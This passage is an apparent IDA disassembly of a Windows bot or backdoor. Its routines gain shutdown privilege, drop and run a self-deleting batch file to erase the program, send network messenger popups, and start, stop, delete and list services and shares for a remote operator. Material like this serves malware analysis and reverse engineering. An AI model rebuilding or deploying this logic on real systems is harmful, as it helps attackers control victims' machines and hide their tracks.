[ebp+var_10] push eax push ebx nop call near ptr 2810000h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2800790h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CB564 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB6F4, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h call near ptr 26A0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 271091Eh mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2700000h nop push edi call near ptr 2660843h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D7D8 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2680D15h push eax call near ptr 2670000h nop lea eax, [ebp+var_15C] push eax nop call near ptr 2680C1Dh cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2680B87h nop loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2820000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2660ADCh loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0000h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB5A4 push edi push eax call dword_4CB5B4 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_439040 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 268082Fh push eax push offset unk_439018 jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_438FE8 push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0000h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26B0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26B02D3h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27A0000h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439068[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_439064[esi] push offset unk_439178 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DB6A0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_43914C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB6A0 push off_439060[eax*4] push offset unk_439128 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB618 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 268082Fh mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB500 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 268082Fh mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB56C jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB508 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CB570 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 268082Fh mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CB51C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CB51C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DAFE0 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DAFE0 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DAFE0 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB618 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB5E4 test eax, eax jnz short loc_4189CD nop call near ptr 268082Fh cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CB51C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB29C push off_439060[eax*4] push offset unk_43970C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB29C push off_439064[eax*4] push offset dword_4396F0 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB29C lea eax, [eax+eax*2] push off_439060[eax*4] push offset unk_4396CC push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB49C, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DB49C, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DB23C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DB23C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB23C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB518 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CB4F0 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB568 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439758 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CB50C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB6B4 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4A0 push off_439064[eax*4] push offset unk_439810 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4A0 push off_439060[eax*4] push offset unk_4397E0 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB4A0 lea eax, [eax+eax*2] push off_439060[eax*4] push offset unk_4397B8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 